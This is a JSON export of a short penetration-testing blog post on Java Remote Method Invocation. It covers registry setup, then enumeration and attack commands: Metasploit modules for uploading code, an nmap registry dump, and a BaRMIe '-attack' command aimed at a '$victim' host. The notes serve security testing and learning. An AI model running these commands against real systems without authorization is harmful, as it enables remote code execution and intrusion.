{"id":1424,"date":"2020-05-08T10:18:24","date_gmt":"2020-05-08T08:18:24","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=1424"},"modified":"2021-01-09T14:42:46","modified_gmt":"2021-01-09T13:42:46","slug":"java-remote-method-invocation-rmi","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=1424","title":{"rendered":"<span class=\"caps\">RMI<\/span> Java Remote Method Invocation"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Java Remote Method Invo\u00adca\u00adtion is a method to exe\u00adcute code remote\u00adly on oth\u00ader sys\u00adtems. <a href=\"https:\/\/docs.oracle.com\/javase\/7\/docs\/technotes\/guides\/rmi\/hello\/hello-world.html\">This Ora\u00adcle doc\u00adu\u00adment describes it.<\/a> But to use it, a pro\u00adgram has to been uploaded first or it has to be known how to com\u00admu\u00adni\u00adcate with&nbsp;it.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">General<\/h1>\n\n\n\n<ul class=\"wp-block-list\"><li>A Java reg\u00adistry dae\u00admon has to be running.&nbsp;<ul>\n<li>Run <em>rmireg\u00adistry<\/em> (bun\u00addled with Java) from the same direc\u00adto\u00adry as the oth\u00ader&nbsp;code.<\/li>\n<li>If there is a \u201cunmar\u00adshalled\u201d error, stop rmireg\u00adistry and add the fol\u00adlow\u00ading to the serv\u00ader code to start a reg\u00adistry serv\u00ader in the prop\u00ader envi\u00adron\u00adment:\n<pre>LocateRegistry.createRegistry(1099);<\/pre>\n<\/li>\n<\/ul>\n<\/li><li>Pro\u00adgrams can reg\u00adis\u00adter end\u00adpoints \/ class\u00ades&nbsp;there<\/li><li>Clients can query the reg\u00adistry for end\u00adpoins and use&nbsp;them.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"http:\/\/openbook.rheinwerk-verlag.de\/javainsel9\/javainsel_22_003.htm\">See here for an introduction.<\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Enumeration<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">With Metas\u00adploit, use scanner\/misc\/java_rmi_server to check if the class loader is acti\u00advat\u00aded. If yes, new code can be uploaded, e.g. with multi\/misc\/java_rmi_server.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">With nmap:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nmap -sSVC --script rmi-dumpregistry -p 1100 $victim<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">With <a href=\"https:\/\/github.com\/NickstaDB\/BaRMIe\">BaRMIe<\/a>:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">java -jar BaRMIe_v1.01.jar -enum $victim 1100<\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Exploiting<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">With BaRMIe:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">java -jar BaRMIe_v1.01.jar -attack $victim 1100<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Java Remote Method Invo\u00adca\u00adtion is a method to exe\u00adcute code remote\u00adly on oth\u00ader sys\u00adtems. This Ora\u00adcle doc\u00adu\u00adment describes it. But to use it, a pro\u00adgram has to been uploaded first or it has to be known how to com\u00admu\u00adni\u00adcate with&nbsp;it. Gen\u00ader\u00adal A Java reg\u00adistry dae\u00admon has to be run\u00adning.&nbsp; Run rmireg\u00adistry (bun\u00addled with Java)&nbsp;from&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[323],"tags":[268,266,267],"class_list":["post-1424","post","type-post","status-publish","format-standard","hentry","category-protocol","tag-java","tag-remote-method-invocation","tag-rmi"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1424","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1424"}],"version-history":[{"count":7,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1424\/revisions"}],"predecessor-version":[{"id":2131,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1424\/revisions\/2131"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1424"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1424"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1424"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}